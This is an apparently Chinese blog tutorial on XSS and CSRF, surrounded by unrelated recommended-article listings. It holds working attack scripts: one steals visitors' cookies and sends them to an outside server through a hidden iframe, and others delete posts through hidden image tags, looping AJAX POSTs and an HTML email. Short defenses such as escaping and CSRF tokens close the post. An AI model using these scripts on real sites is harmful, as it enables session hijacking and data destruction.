浅析XSS和CSRF攻击及防御

机器学习算法原理:详细介绍各种机器学习算法的原理、优缺点和适用场景 现在,我们将进入到机器学习的核心部分——算法原理。在本篇文章中,我们将详细探讨各种机器学习算法的原理、优缺点和适用场景。 阅读详情
定义


XSS(Cross Site Scripting跨站脚本),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。
CSRF(Cross-site request forgery跨站请求伪造)是一种依赖web浏览器的、被混淆过的代理人攻击。
XSS定义的主语是“脚本”,是一种跨站执行的脚本,也就是javascript脚本,指的是在网站上注入我们的javascript脚本,执行非法操作。 
CSRF定义的主语是”请求“,是一种跨站的伪造的请求,指的是跨站伪造用户的请求,模拟用户的操作。


XSS攻击发生的条件是可以执行javascript脚本,一般在站点中总会有发表文章、留言等信息的表单,这种表单一般是写入到数据库中,然后在某个页面进行展示。我们可以在这些表单中直接编写javascript代码(<script>alert("hack sucess!");</script>)进行测试,看是否可以执行。如果在信息展示页面js代码可以执行,XSS攻击就成功了。


通过上面的操作,我们知道这个页面存在XSS攻击漏洞,那么我们接下来怎么利用这个漏洞?


解释


比如说我们攻击的站点地址为:http://www.sitename.com 
某一篇文章的地址为:http://www.sitename.com/message/id/64 
我们在这篇文章的评论form发现可以执行javascript代码,则所有访问这篇文章的用户都会受到攻击。


XSS漏洞利用的两种方式


获取用户的cookie信息,并发送到自己的服务器。


如下面的代码,就会将所有访问这个页面的用户的cookie信息,发送到http://www.zhezhao.site/myxss/这个地址,也就是我们自己的服务器上,我们在获取到用户的cookie信息之后,可以保存到数据库中,也可以给我们自己发送邮件。然后,我们就可以拿着用户的cookie信息,以用户的身份登录,进行操作了。


<script type="text/javascript">
(function(window, document) {
// 构造泄露信息用的 URL
var cookies = document.cookie;
var xssURIBase = "http://www.zhezhao.site/myxss/";
var xssURI = xssURIBase + window.encodeURI(cookies);
// 建立隐藏 iframe 用于通讯
var hideFrame = document.createElement("iframe");
hideFrame.height = 0;
hideFrame.width = 0;
hideFrame.style.display = "none";
hideFrame.src = xssURI;
// 开工
document.body.appendChild(hideFrame);
})(window, document);
</script>




进行站内CSRF攻击


我们既然可以在页面执行javascript代码,就不一定要去保存cookie,然后再去访问了。而且cookie一般都具有时效性,所以我们可以在javascript代码执行CSRF攻击。


假设删除文章的地址为:http://www.sitename.com/delete/id/23(删除id为23的文章)。


则我们可以通过javascript代码,生成一个隐藏的img标签,src属性为http://www.sitename.com/delete/id/23,就会完成删除文章的操作。


<script type="text/javascript">
var body = document.getElementsByTagName("body");
var img = document.createElement("img");
img.setAttribute("src","http://www.sitename.com/delete/id/23");
img.setAttribute("style","display:none");
body[0].appendChild(img);
</script>




在打开该页面的时候,img标签的src属性被解析,浏览器会向http://www.sitename.com/delete/id/23这个地址发送一个请求,http请求每次发送的时候都会检查该域名下的cookie信息时候存在,因为已登录的用户存在相关cookie信息,所以一并被发送到了请求的url,成功执行了删除操作。


那如果,我的删除操作使用post方式接受参数,而不是get呢?这样确实要安全一些,但是XSS攻击既然能够执行javascript代码,就当然可以通过ajax发送post请求到这个url,我们甚至可以在javascript代码中引入jquery来简化我们的操作。


<script type="text/javascript">
function ajaxFun(param) {
//发送ajax请求
var xmlhttp;
var responseText;
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttp=new XMLHttpRequest();
}
else
{// code for IE6, IE5
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange=function(){};
xmlhttp.open("POST","http://www.sitename.com/delete/id/23",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send(param);
}
for(var i=10;i<20;i++){
var param = "id="+i;
ajaxFun(param);
}
</script>


”跨站的“CSRF攻击


上面介绍的”站内的“CSRF攻击是站内的,以XSS漏洞攻击为前提的,实际上没有跨站。


如果站点不存在XSS漏洞,就只能进行跨站攻击了,并且这种跨站攻击因为不能执行javascript代码,相关参数只能通过get方式进行传递,如果参数的接收方式是post的话,可以防止这种攻击。


还是上面的删除文章的例子,假设我们知道某个用户的邮箱,我们给他发送一封html格式的邮件,邮件内容包含了一个隐藏的img标签<img src="http://www.sitename.com/delete/id/23" style="display:none">。如果用户站点保持登录状态的情况下打开这封邮件,也能成功执行删除操作。这次的请求时从用户查看邮件的地址发出的,所以是”跨站的“。


GET和POST的使用


在web程序的设计原则上,GET传递参数的操作,不应该改变程序的内部结构,主要用于查询信息的过滤。对于数据库的更删改操作,一定要使用POST方式传值。


XSS和CSRF攻击的防御


防御XSS攻击可以通过以下两方面操作: 
1,对用户表单输入的数据进行过滤,对javascript代码进行转义,然后再存入数据库; 
2,在信息的展示页面,也要进行转义,防止javascript在页面上执行。


CSRF攻击的防御可以通过以下两方面操作: 
1,所有需要用户登录之后才能执行的操作属于重要操作,这些操作传递参数应该使用post方式,更加安全; 
2,为防止跨站请求伪造,我们在某次请求的时候都要带上一个csrf_token参数,用于标识请求来源是否合法,csrf_token参数由系统生成,存储在SESSION中。


这里写图片描述
快速卷积结构FIR数字滤波器的设计与ARM平台实现 本文提出了一种基于快速卷积结构的FIR数字滤波器设计与实现方案。通过Matlab设计了满足特定指标的低通FIR滤波器,采用重叠-保存法和重叠-相加法两种快速卷积算法,将计算复杂度从O(N·M)降低到O(NlogN)。详细介绍了滤波器系数生成、性能验证流程,并提供了ARM平台C语言实现的关键技术,包括定点量化处理。实验结果表明,该方法能有效滤除混合信号中的高频干扰,保留目标1kHz正弦信号,验证了设计方案的有效性。 阅读详情

相关推荐

滑模控制实战:用Python从零实现SMC算法(附完整代码)

本文通过Python实战,从零详解滑模控制(SMC)算法的核心原理与代码实现。文章聚焦于一阶系统,使用NumPy和Matplotlib逐步构建控制器,并针对SMC固有的抖振问题,详细讲解了边界层法的原理与实现,提供了完整的代码和参数调优指南,帮助读者直观理解并掌握这一鲁棒性极强的非线性控制方法。

weixin_29285605的博客 466

【JAVA-WEB常见漏洞-XSS漏洞】

XSS漏洞 攻击者利用XSS(Cross-site scripting)漏洞攻击可以在用户的浏览器中执行JS恶意脚本,XSS攻击可以实现用户会话劫持、钓鱼攻击、恶意重定向、点击劫持、挂马、XSS蠕虫等,XSS攻击类型分为:反射型、存储型、DOM型。 1. 反射型XSS攻击 示例 - 存在反射型XSS的xss.jsp代码: <%=request.getParameter("input")%> 攻击者通过传入恶意的input参数值可以在用户浏览器中注入一段JavaScript脚本.

Websec 1875

【FPGA】安路FPGA下载器驱动安装教程

#来自学渣的问候 最近正在参加19年的FPGA创新设计大赛,然后我们选择了安路(全名:上海安路信息科技有限公司)的 FPGA 开发板。安路算是国产FPGA中还不错的一家,和紫光一样,除了自主生产的FPGA,也开始拥有了自己的编译环境。 好了。言归正传,写这篇博客的原因是,前几天在安装 安路 的编译环境和下载器驱动的时候,出了点问题,弄得心烦意乱。所以打算解决之后写篇博客,避开这个神奇的问题。 首先...

Ninquelote的博客 2万+

PHP相关系列 - XSS相关

关于XSS(跨站脚本攻击)和CSRF(跨站请求伪造) 我们常说的网络安全其实应该包括以下三方面的安全: 1、机密性,比如用户的隐私被窃取,帐号被盗,常见的方式是木马。 2、完整性,比如数据的完整,举个例子,康熙传位十四子,被当时四阿哥篡改遗诏:传位于四子,当然这是传说,常见的方式是XSS跨站脚本攻击和csrf跨站请求伪造。 3、可用性,比如我们的网络服务是否可用,常用的攻击方式是dos和d

自娱自乐的代码人 2100

关于HC32F460 输出可调占空比PWM波遇到的问题记录

文章目录问题记录一、问题分析二、解决方法总结 问题记录 芯片:HC32F460系列 功能:PWM电机调速 最近产品开发,需要用到HC32的PWM输出来控制电机的转速。参考官方的例程很快就完成了相关的功能,但是,后面在测试,重复开关电机的时候,发现电机的转速时大时小。 一、问题分析 一开始,怀疑是相关寄存器的设置出错导致的问题。因此在设置PWM输出时加上LOG打印,上机测试并没有发现问题。 用示波器抓取波形,这是正常状态下的波形(上电默认配置成5kHz,70%占空比输出) 这是转速较小时的波形输出 .

Top0_0lll的博客 6167

【AI智能体】AI 编程 + 飞书CLI + Skills 重塑开发新范式实战操作详解

AI 编程 + 飞书CLI + Skills 重塑开发新范式实战操作详解

congge 3667

Pikachu靶场之暴破、XSS、CSRF

Pikachu靶场之暴破、XSS、CSRF

Jach1n 1210

【华为OD机试真题E卷】474、推荐多样性 | 机试真题+思路参考+代码解析(E卷复用)(C++、Java、Py)

题目描述 >推荐多样性需要从多个列表中选择元素,一次性要返回 N 屏数据(窗口数量),每屏展示 K 个元素(窗口大小),选择策略:   各个列表元素需要做穿插处理,即先从第一个列表中为每屏选择一个元素,再从第二个列表中为每屏选择一个元素,依次类推   每个列表的元素尽量均分为 N 份,如果不够 N 个,也要全部分配完,参考样例图:

KJ.JK 4436

[Web安全] xss&CSRF漏洞初探

[Web安全] xss&CSRF漏洞初探 正文|xss简介 现代网站往往会包含大量的动态内容,动态内容是指web应用程序根据用户环境和需要来输出相关内容。跨站脚本攻击(cross site scripting)是一种针对网站应用程序的安全漏洞利用技术,是代码注入漏洞的一种,它使得攻击者可以通过巧妙地方法向网页中注入恶意代码,用户浏览器在加载网页、渲染html文档时就会执行攻击者的恶意代码,攻击成功后,攻击者可能得到很高的权限,获取私密网页内容、会话、cookie等敏感信息。XSS可以理解为在用户

qq_42551635的博客 1036

【系统架构设计师】预测试卷十:综合知识(75道选择题)

本文包含75道选择题,覆盖计算机系统、操作系统、网络、数据库、软件工程等核心知识域,其中系统架构设计与评估占比最高(19题)。题目难度稍高,注重灵活应用,题干全新且不与前8套重复。部分典型题目解析包括:计算机性能比较(CPU时间公式TLB/页表机制)、Cache写策略、流水线分支惩罚、管程条件变量、LRU近似算法、自旋锁适用场景、TCP字节流特性、Anycast应用、MVCC机制、分布式事务选型等。答案详解强调易错点,如性能比较需综合计算、TLB缺失不等于缺页、

数据知道的博客 479

《30天入门 SAP BTP 开发》教程的目录和使用说明,建议收藏

本教程分为两部分:第一部分为SAP BTP入门系列,包含从基础概念到操作步骤的系统性学习内容,建议零基础用户按顺序学习;第二部分为专题文章集合,涵盖SAP BTP的多个技术点,适合已有基础的用户按需查阅。教程包含账号申请、Global Account操作、Java应用开发、AI工具使用等丰富内容,同时解答常见问题并提供实战案例。所有文章均附带详细链接,便于读者系统学习或针对性查阅。

2007 年 ~ 2025 年,深耕 SAP 技术 18 年 4407

中国婚博会PHP高级工程师、安全顾问汤青松:浅析Web安全编程

11月18号,2017看雪安全开发者峰会在北京悠唐皇冠假日酒店举行。来自全国各地的开发人员、网络安全爱好者及相应领域顶尖专家,在2017看雪安全开发者峰会汇聚一堂,只为这场“安全与开发”的技术盛宴。曾问过一位搞 Web 安全的人为什么 PHP 是世界上最好的语言,他的回答是 PHP 网站漏洞多,有饭吃。结合目前黑灰产业中借助 Web 漏洞进行各种薅羊毛的现状,不禁触发了我们的深切反思。问题究竟出在...

优快云业界要闻 1016

如何使用Python爬取并保存网页上的所有附件

爬虫(Crawler)是一种自动化程序,它通过模拟人工访问网页并下载网页上的数据或文件,常用于数据采集和分析。爬虫通常以“爬取”的形式自动浏览和提取网页中的各种信息。本文详细介绍了如何使用Python爬取并保存网页中的附件文件,涵盖了网页解析、文件下载、多线程与异步优化等内容。希望通过本文的讲解,能够帮助你理解并掌握附件爬取的技巧。在实际应用中,爬虫开发不仅需要解决技术问题,还要遵守网络道德和法律法规,避免不当使用爬虫造成负面影响。

2201_76125261的博客 968

浅析 Web 安全之 XSS 与 CSRF

一个小插曲:写了两个多小时的时候网页崩溃了,当时心态都崩了,又重新写了一遍。前言==整理面经的时候好多前端的面经里面都有和 web 安全相关的内容,所以就详细了解了一下,但是这几次面试其实都没有问到,今天晚上也问了面试官虽然 XSS 和 CSRF 和前端安全相关,但是其实前端能做的并不多,最多只是对一些特殊字符进行转义,但是其实主要的工作还是后端来做,所以前端到底能做什么来预防这些东西。面试官是这么跟我说的,他说前端只是一个大门,并不能挡住所有东西,但是还是要对这些东西有所了解。

2401_85124812的博客 1091

android 蓝牙通讯demo

android 下蓝牙通讯demo,实现了发现蓝牙,使能蓝牙,通过蓝牙发送消息。

Devexpress16.2.6破解工具

Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具

浅析几种常见Web攻击-DoS攻击、CSRF、XSS

常见的Web安全问题有DoS攻击、CSRF攻击、XSS漏洞等。本文将简单介绍一下这几种常见的工具方式。 DoS攻击 DoS(Denial of Service),拒绝服务,顾名思义这种攻击是为了让服务器无法提供正常服务,最常见的DoS攻击是网络带宽攻击和连通性攻击。带宽攻击指以极大的通信量冲击网络,使得所有可用网络资源都被消耗殆尽,最后导致合法的用户请求无法通过。连通...

天高地阔的专栏 1587

SIMATIC S7-1200, S7-1500 PID 控制[手册]

SIMATIC S7-1200, S7-1500 PID 控制[手册]

浅析CSRF和XSS

浅析CSRF和XSS 前言 ​ 博主最近面试,遇到一个问题:**CSRF和XSS的原理是什么?如何防止CSRF和XSS的发生?**由于博主这一块了解的不够深入,面试中回答得不够全面。今天就带大家来探讨一下CSRF和XSS背后的奥秘! ​ 这部分知识点在面试中主要是围绕项目中的认证授权(cookie,session,token)来问,还是希望大家在学习CSRF(重点)和XSS之前,先重点掌握cookie,session,token! 1、背景 ​ 随着互联网的高速发展,信息安全问题已经成为企业最为关.

system122的博客 437

锂电池充电器电路设计 里面有电路

锂电池充电器电路设计 里面有电路 3.7V升压到5V电路设计。

对XSS和CSRF攻击的理解和防御

前言 互联网时代,数据安全和个人隐私受到极大挑战,各种攻击技术层出不穷,本文主要分析两种常见的web攻击(XSS和CSRF)和防御措施。 一、XSS攻击 xss(cross-site script),跨站脚本攻击(因缩写和CSS重复,所以叫XSS),指的是攻击者通过在用户浏览器注入恶意可执行脚本,获取用户隐私信息的攻击方式。 大致可分为两类: 1. 非持久型XSS 攻击者诱使用户去点击一些带有恶意脚本的url,恶意脚本被解析执行 将用户的隐私信息比如 cookie发送给了攻击者。造成了用户隐私信

七度温温的博客 397

浅析XSS与CSRF

浅析XSS与CSRF 在 Web 安全方面,XSS 与 CSRF 可以说是老生常谈了。 XSS XSS,即 cross site script,跨站脚本攻击,缩写原本为 CSS,但为了和层叠样式表(Cascading Style Sheet)区分,改为 XSS。 XSS 攻击是指攻击者在网站上注入恶意脚本,使用户在浏览使用网页时进行恶意操作,注入脚本除了 JavaScript,还会有 CSS、H...

weixin_30477797的博客 137

结合DVWA-CSRF浅析

CSRF:跨站请求伪造。即利用受害者未过期的身份认证信息(cookie、session等),诱导其点击攻击者构造的恶意链接,或者恶意页面,在受害人不知情的情况下,利用(不像XSS那样盗取)受害人有效的身份认证信息,向受害人访问的服务器发送请求,从而完成非法操作,如:改密码、转账等。 一.攻击方法: 1.直接构造恶意链接。(看上去就像是改密码的,反正我不点) 如http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=123&passwor

qq_43660551的博客 833

浅析CSRF攻击

       CSRF概念:CSRF跨站点请求伪造(Cross—Site Request Forgery),跟XSS攻击一样,存在巨大的危害性,你可以这样来理解:        攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以你的名义发送邮件、发消息,盗取你的账号,添加系统管理员,甚至于购买商品、虚拟货币转账等。 如下:其中...

ClearLove的博客 255

浅析 Web 安全之 XSS 与 CSRF(3),2024年最新厉害了

整理面经的时候好多前端的面经里面都有和 web 安全相关的内容,所以就详细了解了一下,但是这几次面试其实都没有问到,今天晚上也问了面试官虽然 XSS 和 CSRF 和前端安全相关,但是其实前端能做的并不多,最多只是对一些特殊字符进行转义,但是其实主要的工作还是后端来做,所以前端到底能做什么来预防这些东西。所以呢,在安全方面,前端能做的东西真的不多,但是要有这个意识,如果你连防御的意识都没有的话那么写的程序肯定是有漏洞的,话不多说,接下来开始介绍 XSS 和 CSRF。查看网页结构会发现结构变成如下这样。

2401_83621918的博客 460

CSRF浅析

CSRF浅析 跨站请求伪造(英语:Cross-site request forgery),也被称为 one-click attack 或者 session riding,通常缩写为 CSRF 或者 XSRF, 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。跟跨网站脚本(XSS)相比,XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户网页浏览器的信任。 CRSF攻击原理 首先用户C浏览并登录了受信任站点A; 登录信息验证通过以后,站点A会在返回给浏览器的信息中带上已

qq_26887683的博客 294

CSRF攻击技术浅析

关于CSRF漏洞有太多分支,包括浏览器安全策略的内部机制原理,CSRF配合XSS攻击方法,CSRF与XSS的区别,跨域解决方案等等接下来我将给各位同学划分一张学习计划表!

qq_53058639的博客 730

浅析前端安全(XSS、CSRF)

XSS(跨站脚本攻击——Cross-site scripting) 表现形式: 攻击者在网站上注入恶意的客户端代码,通过恶意脚本对客户端网页进行篡改,从而在用户浏览网页的时候,对用户浏览器进行控制或者获取用户隐私数据的一种攻击方式。 1、恶意脚本分类: 表现步骤: 注入恶意的脚本例如js,html等将一些隐私的数据像cookie、session发送给攻击者,将受害者重定向到一个有攻击者控制的网站,在受害者的机器上进行一些恶意操作 反射性(非持久型) 当浏览器进行请求的时候,注入恶意代码到服务器上,将一些

C_fashionCat 311
上一篇: PHP经典设计模式
下一篇: WOW.js和animate.css让页面滚动时显示动画
samcPHP
博客等级 码龄9年 2粉丝 19原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值